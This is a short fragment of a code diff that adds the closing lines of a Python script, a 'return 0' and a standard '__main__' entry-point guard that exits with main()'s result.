+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())